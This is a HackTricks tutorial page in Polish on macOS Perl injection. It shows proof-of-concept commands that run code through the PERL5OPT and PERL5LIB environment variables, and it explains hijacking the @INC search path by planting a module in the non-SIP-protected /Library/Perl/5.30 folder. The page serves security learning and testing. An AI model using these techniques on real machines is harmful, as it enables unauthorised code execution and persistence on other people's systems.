macOS Perl Applications Injection
Reading time: 3 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Poprzez zmienną środowiskową PERL5OPT
i PERL5LIB
Używając zmiennej środowiskowej PERL5OPT, można sprawić, że perl wykona dowolne polecenia.
Na przykład, stwórz ten skrypt:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Teraz wyeksportuj zmienną env i uruchom skrypt perl:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Inną opcją jest stworzenie modułu Perl (np. /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
A następnie użyj zmiennych środowiskowych:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Poprzez zależności
Możliwe jest wylistowanie kolejności folderów zależności uruchomionego Perla:
perl -e 'print join("\n", @INC)'
Co zwróci coś takiego jak:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Niektóre z zwróconych folderów nawet nie istnieją, jednak /Library/Perl/5.30
istnieje, nie jest chroniony przez SIP i znajduje się przed folderami chronionymi przez SIP. Dlatego ktoś mógłby nadużyć tego folderu, aby dodać tam zależności skryptów, tak aby skrypt Perl z wysokimi uprawnieniami mógł go załadować.
warning
Należy jednak pamiętać, że musisz być rootem, aby pisać w tym folderze i obecnie otrzymasz ten monit TCC:
Na przykład, jeśli skrypt importuje use File::Basename;
, możliwe byłoby utworzenie /Library/Perl/5.30/File/Basename.pm
, aby wykonać dowolny kod.
References
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.